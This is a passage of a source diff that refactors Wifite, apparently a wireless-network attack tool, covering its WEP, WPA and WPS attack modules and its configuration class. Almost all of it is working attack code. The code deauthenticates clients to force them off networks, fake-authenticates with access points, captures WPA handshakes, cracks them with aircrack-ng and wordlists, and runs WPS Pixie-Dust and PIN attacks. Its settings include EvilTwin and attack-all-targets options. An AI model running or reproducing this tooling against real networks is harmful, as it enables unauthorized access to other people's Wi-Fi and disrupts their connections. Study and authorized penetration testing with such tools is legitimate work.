@@ -218,26 +237,28 @@ class AttackWEP(Attack):
except KeyboardInterrupt:
if fakeauth_proc: fakeauth_proc.stop()
if len(attacks_remaining) == 0:
if keep_ivs:
Airodump.delete_airodump_temp_files('wep')
self.success = False
return self.success
if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target):
if keep_ivs:
Airodump.delete_airodump_temp_files('wep')
self.success = False
return self.success
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
Color.pexception(e)
continue
# End of big try-catch
# End of for-each-attack-type loop
if keep_ivs:
Airodump.delete_airodump_temp_files('wep')
self.success = False
return self.success
@@ -247,29 +268,29 @@ class AttackWEP(Attack):
or if we should stop attacking this target (returns True).
'''
if target is None:
Color.pl("")
Color.pl('')
return True
target_name = target.essid if target.essid_known else target.bssid
Color.pl("\n\n{!} {O}Interrupted")
Color.pl("{+} {W}Next steps:")
Color.pl('\n\n{!} {O}Interrupted')
Color.pl('{+} {W}Next steps:')
# Deauth clients & retry
attack_index = 1
Color.pl(" {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name))
Color.pl(' {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}' % (current_attack, target_name))
# Move onto a different WEP attack
for attack_name in attacks_remaining:
attack_index += 1
Color.pl(" {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name))
Color.pl(' {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}' % (attack_index, attack_name, target_name))
# Stop attacking entirely
attack_index += 1
Color.pl(" {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index)
Color.pl(' {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}' % attack_index)
while True:
answer = raw_input(Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index))
answer = raw_input(Color.s('{?} Select an option ({G}1-%d{W}): ' % attack_index))
if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index:
Color.pl("{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index)
Color.pl('{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}' % attack_index)
continue
answer = int(answer)
break
@@ -278,15 +299,24 @@ class AttackWEP(Attack):
# Deauth clients & retry
deauth_count = 1
Color.clear_entire_line()
Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...")
Color.p('\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...')
Aireplay.deauth(target.bssid, essid=target.essid)
attacking_mac = Ip.get_mac(Configuration.interface)
for client in target.clients:
if attacking_mac.lower() == client.station.lower():
continue # Don't deauth ourselves.
Color.clear_entire_line()
Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station)
Color.p('\r{+} {O}Deauthenticating client {C}%s{W}...' % client.station)
Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
deauth_count += 1
Color.clear_entire_line()
Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count)
Color.pl('\r{+} Sent {C}%d {O}deauths{W}' % deauth_count)
# Re-insert current attack to top of list of attacks remaining
attacks_remaining.insert(0, current_attack)
return False # Don't stop
@@ -297,11 +327,11 @@ class AttackWEP(Attack):
attacks_remaining.insert(0, attacks_remaining.pop(answer-2))
return False # Don't stop
def fake_auth(self):
'''
Attempts to fake-authenticate with target.
Returns: True if successful,
False is unsuccesful.
Returns: True if successful, False is unsuccessful.
'''
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
@@ -310,7 +340,7 @@ class AttackWEP(Attack):
else:
Color.pl(' {R}failed{W}')
if Configuration.require_fakeauth:
# Fakeauth is requried, fail
# Fakeauth is required, fail
raise Exception(
'Fake-authenticate did not complete within' +
' %d seconds' % AttackWEP.fakeauth_wait)
@@ -324,11 +354,10 @@ class AttackWEP(Attack):
return fakeauth
if __name__ == '__main__':
Configuration.initialize(True)
from ..model.target import Target
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
target = Target(fields)
wep = AttackWEP(target)
wep.run()

View File

@@ -1,7 +1,8 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..tools.aircrack import Aircrack
from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay
from ..config import Configuration
@@ -24,20 +25,20 @@ class AttackWPA(Attack):
self.success = False
def run(self):
'''
Initiates full WPA hanshake capture attack.
'''
'''Initiates full WPA handshake capture attack.'''
# Check if user only wants to run PixieDust attack
if Configuration.wps_only and self.target.wps:
Color.pl('\r{!} {O}--wps-only{R} set, ignoring WPA-handshake attack on {O}%s{W}' % self.target.essid)
# Skip if target is not WPS
if Configuration.wps_only and self.target.wps == False:
Color.pl('\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid)
self.success = False
return self.success
handshake = None
# Skip if user only wants to run PMKID attack
if Configuration.use_pmkid_only:
self.success = False
return False
# Capture the handshake ("do it live!")
if handshake is None:
# Capture the handshake (or use an old one)
handshake = self.capture_handshake()
if handshake is None:
@@ -49,18 +50,37 @@ class AttackWPA(Attack):
Color.pl('\n{+} analysis of captured handshake file:')
handshake.analyze()
# Check wordlist
if Configuration.wordlist is None:
Color.pl('{!} {O}Not cracking handshake because' +
' wordlist ({R}--dict{O}) is not set')
self.success = False
return False
elif not os.path.exists(Configuration.wordlist):
Color.pl('{!} {O}Not cracking handshake because' +
' wordlist {R}%s{O} was not found' % Configuration.wordlist)
self.success = False
return False
Color.pl('\n{+} {C}Cracking WPA Handshake:{W} Running {C}aircrack-ng{W} with' +
' {C}%s{W} wordlist' % os.path.split(Configuration.wordlist)[-1])
# Crack it
key = self.crack_handshake(handshake, Configuration.wordlist)
key = Aircrack.crack_handshake(handshake, show_command=False)
if key is None:
Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % Configuration.wordlist.split(os.sep)[-1])
self.success = False
else:
Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n' % key)
self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
self.crack_result.dump()
self.success = True
return self.success
def capture_handshake(self):
''' Returns captured or stored handshake, otherwise None '''
'''Returns captured or stored handshake, otherwise None.'''
handshake = None
# First, start Airodump process
@@ -70,7 +90,7 @@ class AttackWPA(Attack):
output_file_prefix='wpa') as airodump:
Color.clear_entire_line()
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
Color.pattack('WPA', self.target, 'Handshake capture', 'Waiting for target to appear...')
airodump_target = self.wait_for_target(airodump)
self.clients = []
@@ -81,7 +101,7 @@ class AttackWPA(Attack):
essid = airodump_target.essid if airodump_target.essid_known else None
handshake = self.load_handshake(bssid=bssid, essid=essid)
if handshake:
Color.pattack("WPA", self.target, "Handshake capture", "found {G}existing handshake{W} for {C}%s{W}" % handshake.essid)
Color.pattack('WPA', self.target, 'Handshake capture', 'found {G}existing handshake{W} for {C}%s{W}' % handshake.essid)
Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile)
return handshake
@@ -91,10 +111,10 @@ class AttackWPA(Attack):
while handshake is None and not timeout_timer.ended():
step_timer = Timer(1)
Color.clear_entire_line()
Color.pattack("WPA",
Color.pattack('WPA',
airodump_target,
"Handshake capture",
"Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer))
'Handshake capture',
'Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})' % (len(self.clients), deauth_timer, timeout_timer))
# Find .cap file
cap_files = airodump.find_files(endswith='.cap')
@@ -114,7 +134,12 @@ class AttackWPA(Attack):
handshake = Handshake(temp_file, bssid=bssid, essid=essid)
if handshake.has_handshake():
# We got a handshake
Color.pl('\n\n{+} {G}successfully captured handshake{W}')
Color.clear_entire_line()
Color.pattack('WPA',
airodump_target,
'Handshake capture',
'{G}Captured handshake{W}')
Color.pl('')
break
# There is no handshake
@@ -127,11 +152,11 @@ class AttackWPA(Attack):
for client in airodump_target.clients:
if client.station not in self.clients:
Color.clear_entire_line()
Color.pattack("WPA",
Color.pattack('WPA',
airodump_target,
"Handshake capture",
"Discovered new client: {G}%s{W}" % client.station)
Color.pl("")
'Handshake capture',
'Discovered new client: {G}%s{W}' % client.station)
Color.pl('')
self.clients.append(client.station)
# Send deauth to a client or broadcast
@@ -146,83 +171,13 @@ class AttackWPA(Attack):
if handshake is None:
# No handshake, attack failed.
Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout))
Color.pl('\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds' % (Configuration.wpa_attack_timeout))
return handshake
else:
# Save copy of handshake to ./hs/
self.save_handshake(handshake)
return handshake
def crack_handshake(self, handshake, wordlist):
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
if wordlist is None:
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist ({R}--dict{O}) is not set")
return None
elif not os.path.exists(wordlist):
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist {R}%s{O} was not found" % wordlist)
return None
Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
" {C}%s{W} wordlist" % os.path.split(wordlist)[-1])
key_file = Configuration.temp('wpakey.txt')
command = [
"aircrack-ng",
"-a", "2",
"-w", wordlist,
"--bssid", handshake.bssid,
"-l", key_file,
handshake.capfile
]
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = "unknown"
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line)
match_keys = aircrack_key_re.search(line)
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
status += " ETA: {C}%s{W}" % eta_str
status += " @ {C}%0.1fkps{W}" % num_kps
#status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
status += " (current key: {C}%s{W})" % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl("")
# Check crack result
if os.path.exists(key_file):
with open(key_file, "r") as fid:
key = fid.read().strip()
os.remove(key_file)
Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
return key
else:
Color.pl("{!} {R}Failed to crack handshake:" +
" {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
return None
def load_handshake(self, bssid, essid):
if not os.path.exists(Configuration.wpa_handshake_dir):
return None
@@ -250,17 +205,20 @@ class AttackWPA(Attack):
'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir)
os.makedirs(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
if handshake.essid and type(handshake.essid) is str:
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
else:
essid_safe = 'UnknownEssid'
bssid_safe = handshake.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)
if Configuration.wpa_strip_handshake:
Color.p("{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}..." % cap_filename)
Color.p('{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}...' % cap_filename)
handshake.strip(outfile=cap_filename)
Color.pl('{G}saved{W}')
else:
@@ -282,25 +240,25 @@ class AttackWPA(Attack):
for index, client in enumerate([None] + self.clients):
if client is None:
target_name = "*broadcast*"
target_name = '*broadcast*'
else:
target_name = client
Color.clear_entire_line()
Color.pattack("WPA",
Color.pattack('WPA',
target,
"Handshake capture",
"Deauthing {O}%s{W}" % target_name)
'Handshake capture',
'Deauthing {O}%s{W}' % target_name)
Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
if __name__ == '__main__':
Configuration.initialize(True)
from ..model.target import Target
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
target = Target(fields)
wpa = AttackWPA(target)
try:
wpa.run()
except KeyboardInterrupt:
Color.pl("")
Color.pl('')
pass
Configuration.exit_gracefully(0)

View File

@@ -1,48 +1,86 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..util.color import Color
from ..util.process import Process
from ..config import Configuration
from ..tools.bully import Bully
from ..tools.reaver import Reaver
class AttackWPS(Attack):
def __init__(self, target):
@staticmethod
def can_attack_wps():
return Reaver.exists() or Bully.exists()
def __init__(self, target, pixie_dust=False):
super(AttackWPS, self).__init__(target)
self.success = False
self.crack_result = None
self.pixie_dust = pixie_dust
def run(self):
''' Run all WPS-related attacks '''
# Drop out if user specified to not use Reaver/Bully
if Configuration.no_wps:
Color.pl('\r{!} {O}--no-wps{R} set, ignoring WPS attack on {O}%s{W}' % self.target.essid)
if Configuration.use_pmkid_only:
self.success = False
return self.success
return False
###################
# Pixie-Dust attack
if Configuration.use_bully:
# Bully: Pixie-dust
bully = Bully(self.target)
if Configuration.no_wps:
self.success = False
return False
if not Configuration.wps_pixie and self.pixie_dust:
Color.pl('\r{!} {O}--no-pixie{R} was given, ignoring WPS PIN Attack on ' +
'{O}%s{W}' % self.target.essid)
self.success = False
return False
if not Configuration.wps_pin and not self.pixie_dust:
Color.pl('\r{!} {O}--no-pin{R} was given, ignoring WPS Pixie-Dust Attack ' +
'on {O}%s{W}' % self.target.essid)
self.success = False
return False
if not Reaver.exists() and Bully.exists():
# Use bully if reaver isn't available
return self.run_bully()
elif self.pixie_dust and not Reaver.is_pixiedust_supported() and Bully.exists():
# Use bully if reaver can't do pixie-dust
return self.run_bully()
elif Configuration.use_bully:
# Use bully if asked by user
return self.run_bully()
elif not Reaver.exists():
# Print error if reaver isn't found (bully not available)
if self.pixie_dust:
Color.pl('\r{!} {R}Skipping WPS Pixie-Dust attack: {O}reaver{R} not found.{W}')
else:
Color.pl('\r{!} {R}Skipping WPS PIN attack: {O}reaver{R} not found.{W}')
return False
elif self.pixie_dust and not Reaver.is_pixiedust_supported():
# Print error if reaver can't support pixie-dust (bully not available)
Color.pl('\r{!} {R}Skipping WPS attack: {O}reaver{R} does not support {O}--pixie-dust{W}')
return False
else:
return self.run_reaver()
def run_bully(self):
bully = Bully(self.target, pixie_dust=self.pixie_dust)
bully.run()
bully.stop()
if bully.crack_result is not None:
self.crack_result = bully.crack_result
self.success = True
return True
else:
reaver = Reaver(self.target)
if reaver.is_pixiedust_supported():
# Reaver: Pixie-dust
reaver = Reaver(self.target)
if reaver.run_pixiedust_attack():
self.crack_result = reaver.crack_result
self.success = True
return True
else:
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
self.success = self.crack_result is not None
return self.success
def run_reaver(self):
reaver = Reaver(self.target, pixie_dust=self.pixie_dust)
reaver.run()
self.crack_result = reaver.crack_result
self.success = self.crack_result is not None
return self.success
return False

View File

@@ -1,295 +1,458 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from util.color import Color
from tools.macchanger import Macchanger
import os
from .util.color import Color
from .tools.macchanger import Macchanger
class Configuration(object):
''' Stores configuration variables and functions for Wifite. '''
verbose = 0
version = '2.2.5'
initialized = False # Flag indicating config has been initialized
temp_dir = None # Temporary directory
version = 2.00
interface = None
verbose = 0
@staticmethod
def initialize(load_interface=True):
@classmethod
def initialize(cls, load_interface=True):
'''
Sets up default initial configuration values.
Also sets config values based on command-line arguments.
'''
# TODO: categorize configuration into separate classes (under config/*.py)
# E.g. Configuration.wps.enabled, Configuration.wps.timeout, etc
# Only initialize this class once
if Configuration.initialized:
if cls.initialized:
return
Configuration.initialized = True
cls.initialized = True
Configuration.verbose = 0 # Verbosity level.
Configuration.print_stack_traces = True
cls.verbose = 0 # Verbosity of output. Higher number means more debug info about running processes.
cls.print_stack_traces = True
Configuration.kill_conflicting_processes = False
cls.kill_conflicting_processes = False
Configuration.scan_time = 0 # Time to wait before attacking all targets
Configuration.all_targets = False # Run attacks against all targets automatically
cls.scan_time = 0 # Time to wait before attacking all targets
Configuration.tx_power = 0 # Wifi transmit power (0 is default)
Configuration.interface = None
Configuration.target_channel = None # User-defined channel to scan
Configuration.target_essid = None # User-defined AP name
Configuration.target_bssid = None # User-defined AP BSSID
Configuration.ignore_essid = None # ESSIDs to ignore
Configuration.five_ghz = False # Scan 5Ghz channels
Configuration.show_bssids = False # Show BSSIDs in targets list
Configuration.random_mac = False # Should generate a random Mac address at startup.
Configuration.no_deauth = False # Deauth hidden networks & WPA handshake targets
Configuration.num_deauths = 1 # Number of deauth packets to send to each target.
cls.tx_power = 0 # Wifi transmit power (0 is default)
cls.interface = None
cls.target_channel = None # User-defined channel to scan
cls.target_essid = None # User-defined AP name
cls.target_bssid = None # User-defined AP BSSID
cls.ignore_essid = None # ESSIDs to ignore
cls.clients_only = False # Only show targets that have associated clients
cls.five_ghz = False # Scan 5Ghz channels
cls.show_bssids = False # Show BSSIDs in targets list
cls.random_mac = False # Should generate a random Mac address at startup.
cls.no_deauth = False # Deauth hidden networks & WPA handshake targets
cls.num_deauths = 1 # Number of deauth packets to send to each target.
cls.demon = False # Don't put back interface back in managed mode
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
cls.encryption_filter = ['WEP', 'WPA', 'WPS']
# EvilTwin variables
cls.use_eviltwin = False
cls.eviltwin_port = 80
cls.eviltwin_deauth_iface = None
cls.eviltwin_fakeap_iface = None
# WEP variables
Configuration.wep_filter = False # Only attack WEP networks
Configuration.wep_pps = 600 # Packets per second
Configuration.wep_timeout = 600 # Seconds to wait before failing
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
Configuration.require_fakeauth = False
Configuration.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
cls.wep_filter = False # Only attack WEP networks
cls.wep_pps = 600 # Packets per second
cls.wep_timeout = 600 # Seconds to wait before failing
cls.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
cls.require_fakeauth = False
cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
# Aireplay if IVs don't increaes.
# "0" means never restart.
Configuration.wep_restart_aircrack = 30 # Seconds to give aircrack to crack
# '0' means never restart.
cls.wep_restart_aircrack = 30 # Seconds to give aircrack to crack
# before restarting the process.
Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking
cls.wep_crack_at_ivs = 10000 # Number of IVS to start cracking
cls.wep_keep_ivs = False # Retain .ivs files across multiple attacks.
# WPA variables
Configuration.wpa_filter = False # Only attack WPA networks
Configuration.wpa_deauth_timeout = 15 # Wait time between deauths
Configuration.wpa_attack_timeout = 500 # Wait time before failing
Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes
Configuration.wpa_strip_handshake = False # Strip non-handshake packets
Configuration.ignore_old_handshakes = False # Always fetch a new handshake
cls.wpa_filter = False # Only attack WPA networks
cls.wpa_deauth_timeout = 15 # Wait time between deauths
cls.wpa_attack_timeout = 500 # Wait time before failing
cls.wpa_handshake_dir = 'hs' # Dir to store handshakes
cls.wpa_strip_handshake = False # Strip non-handshake packets
cls.ignore_old_handshakes = False # Always fetch a new handshake
# PMKID variables
cls.use_pmkid_only = False # Only use PMKID Capture+Crack attack
cls.pmkid_timeout = 30 # Time to wait for PMKID capture
# Default dictionary for cracking
Configuration.wordlist = None
cls.cracked_file = 'cracked.txt'
cls.wordlist = None
wordlists = [
'./wordlist-top4800-probable.txt', # Local file (ran from cloned repo)
'/usr/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr
'/usr/local/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr/local
# Other passwords found on Kali
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/wordlists/fern-wifi/common.txt'
]
for wlist in wordlists:
if os.path.exists(wlist):
Configuration.wordlist = wlist
cls.wordlist = wlist
break
# WPS variables
Configuration.wps_filter = False # Only attack WPS networks
Configuration.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks)
Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks
Configuration.use_bully = False # Use bully instead of reaver
Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails
Configuration.wps_fail_threshold = 30 # Max number of failures
Configuration.wps_timeout_threshold = 30 # Max number of timeouts
Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs
cls.wps_filter = False # Only attack WPS networks
cls.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks)
cls.wps_only = False # ONLY use WPS attacks on non-WEP networks
cls.use_bully = False # Use bully instead of reaver
cls.wps_pixie = True
cls.wps_pin = True
cls.wps_ignore_lock = False # Skip WPS PIN attack if AP is locked.
cls.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
cls.wps_fail_threshold = 100 # Max number of failures
cls.wps_timeout_threshold = 100 # Max number of timeouts
# Commands
Configuration.show_cracked = False
Configuration.check_handshake = None
Configuration.crack_handshake = False
cls.show_cracked = False
cls.check_handshake = None
cls.crack_handshake = False
# Overwrite config values with arguments (if defined)
Configuration.load_from_arguments()
cls.load_from_arguments()
if load_interface:
Configuration.get_interface()
cls.get_monitor_mode_interface()
@staticmethod
def get_interface():
if Configuration.interface is None:
@classmethod
def get_monitor_mode_interface(cls):
if cls.interface is None:
# Interface wasn't defined, select it!
from tools.airmon import Airmon
Configuration.interface = Airmon.ask()
if Configuration.random_mac:
from .tools.airmon import Airmon
cls.interface = Airmon.ask()
if cls.random_mac:
Macchanger.random()
@staticmethod
def load_from_arguments():
@classmethod
def load_from_arguments(cls):
''' Sets configuration values based on Argument.args object '''
from args import Arguments
from .args import Arguments
args = Arguments(cls).args
cls.parse_settings_args(args)
cls.parse_wep_args(args)
cls.parse_wpa_args(args)
cls.parse_wps_args(args)
cls.parse_pmkid_args(args)
cls.parse_encryption()
# EvilTwin
'''
if args.use_eviltwin:
cls.use_eviltwin = True
Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets')
'''
cls.parse_wep_attacks()
cls.validate()
# Commands
if args.cracked: cls.show_cracked = True
if args.check_handshake: cls.check_handshake = args.check_handshake
if args.crack_handshake: cls.crack_handshake = True
@classmethod
def validate(cls):
if cls.use_pmkid_only and cls.wps_only:
Color.pl('{!} {R}Bad Configuration:{O} --pmkid and --wps-only are not compatible')
raise RuntimeError('Unable to attack networks: --pmkid and --wps-only are not compatible together')
@classmethod
def parse_settings_args(cls, args):
'''Parses basic settings/configurations from arguments.'''
args = Arguments(Configuration).args
if args.random_mac:
Configuration.random_mac = True
Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking')
cls.random_mac = True
Color.pl('{+} {C}option:{W} using {G}random mac address{W} ' +
'when scanning & attacking')
if args.channel:
Configuration.target_channel = args.channel
Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel)
cls.target_channel = args.channel
Color.pl('{+} {C}option:{W} scanning for targets on channel ' +
'{G}%s{W}' % args.channel)
if args.interface:
Configuration.interface = args.interface
Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface)
cls.interface = args.interface
Color.pl('{+} {C}option:{W} using wireless interface ' +
'{G}%s{W}' % args.interface)
if args.target_bssid:
Configuration.target_bssid = args.target_bssid
Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid)
cls.target_bssid = args.target_bssid
Color.pl('{+} {C}option:{W} targeting BSSID ' +
'{G}%s{W}' % args.target_bssid)
if args.five_ghz == True:
Configuration.five_ghz = True
cls.five_ghz = True
Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans')
if args.show_bssids == True:
Configuration.show_bssids = True
cls.show_bssids = True
Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan')
if args.no_deauth == True:
Configuration.no_deauth = True
Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients during scans or captures')
cls.no_deauth = True
Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients ' +
'during scans or captures')
if args.demon == True:
cls.demon = True
Color.pl('{+} {C}option:{W} will put interface back to managed mode')
if args.num_deauths and args.num_deauths > 0:
Configuration.num_deauths = args.num_deauths
Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % Configuration.num_deauths)
cls.num_deauths = args.num_deauths
Color.pl('{+} {C}option:{W} send {G}%d{W} deauth packets when deauthing' % (
cls.num_deauths))
if args.target_essid:
Configuration.target_essid = args.target_essid
cls.target_essid = args.target_essid
Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid)
if args.ignore_essid is not None:
Configuration.ignore_essid = args.ignore_essid
Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % args.ignore_essid)
cls.ignore_essid = args.ignore_essid
Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % (
args.ignore_essid))
if args.clients_only == True:
cls.clients_only = True
Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have ' +
'associated clients')
if args.scan_time:
Configuration.scan_time = args.scan_time
Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time)
cls.scan_time = args.scan_time
Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets ' +
'after {G}%d{W}s' % args.scan_time)
if args.verbose:
Configuration.verbose = args.verbose
cls.verbose = args.verbose
Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose)
if args.kill_conflicting_processes:
Configuration.kill_conflicting_processes = True
cls.kill_conflicting_processes = True
Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
# WEP
@classmethod
def parse_wep_args(cls, args):
'''Parses WEP-specific arguments'''
if args.wep_filter:
Configuration.wep_filter = args.wep_filter
cls.wep_filter = args.wep_filter
if args.wep_pps:
Configuration.wep_pps = args.wep_pps
Color.pl('{+} {C}option:{W} using {G}%d{W} packets-per-second on WEP attacks' % args.wep_pps)
cls.wep_pps = args.wep_pps
Color.pl('{+} {C}option:{W} using {G}%d{W} packets/sec on WEP attacks' % (
args.wep_pps))
if args.wep_timeout:
Configuration.wep_timeout = args.wep_timeout
Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout)
cls.wep_timeout = args.wep_timeout
Color.pl('{+} {C}option:{W} WEP attack timeout set to ' +
'{G}%d seconds{W}' % args.wep_timeout)
if args.require_fakeauth:
Configuration.require_fakeauth = True
Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks')
cls.require_fakeauth = True
Color.pl('{+} {C}option:{W} fake-authentication is ' +
'{G}required{W} for WEP attacks')
if args.wep_crack_at_ivs:
Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs
Color.pl('{+} {C}option:{W} will start cracking WEP keys at {G}%d IVs{W}' % args.wep_crack_at_ivs)
cls.wep_crack_at_ivs = args.wep_crack_at_ivs
Color.pl('{+} {C}option:{W} will start cracking WEP keys at ' +
'{G}%d IVs{W}' % args.wep_crack_at_ivs)
if args.wep_restart_stale_ivs:
Configuration.wep_restart_stale_ivs = args.wep_restart_stale_ivs
Color.pl('{+} {C}option:{W} will restart aireplay after {G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs)
cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs
Color.pl('{+} {C}option:{W} will restart aireplay after ' +
'{G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs)
if args.wep_restart_aircrack:
Configuration.wep_restart_aircrack = args.wep_restart_aircrack
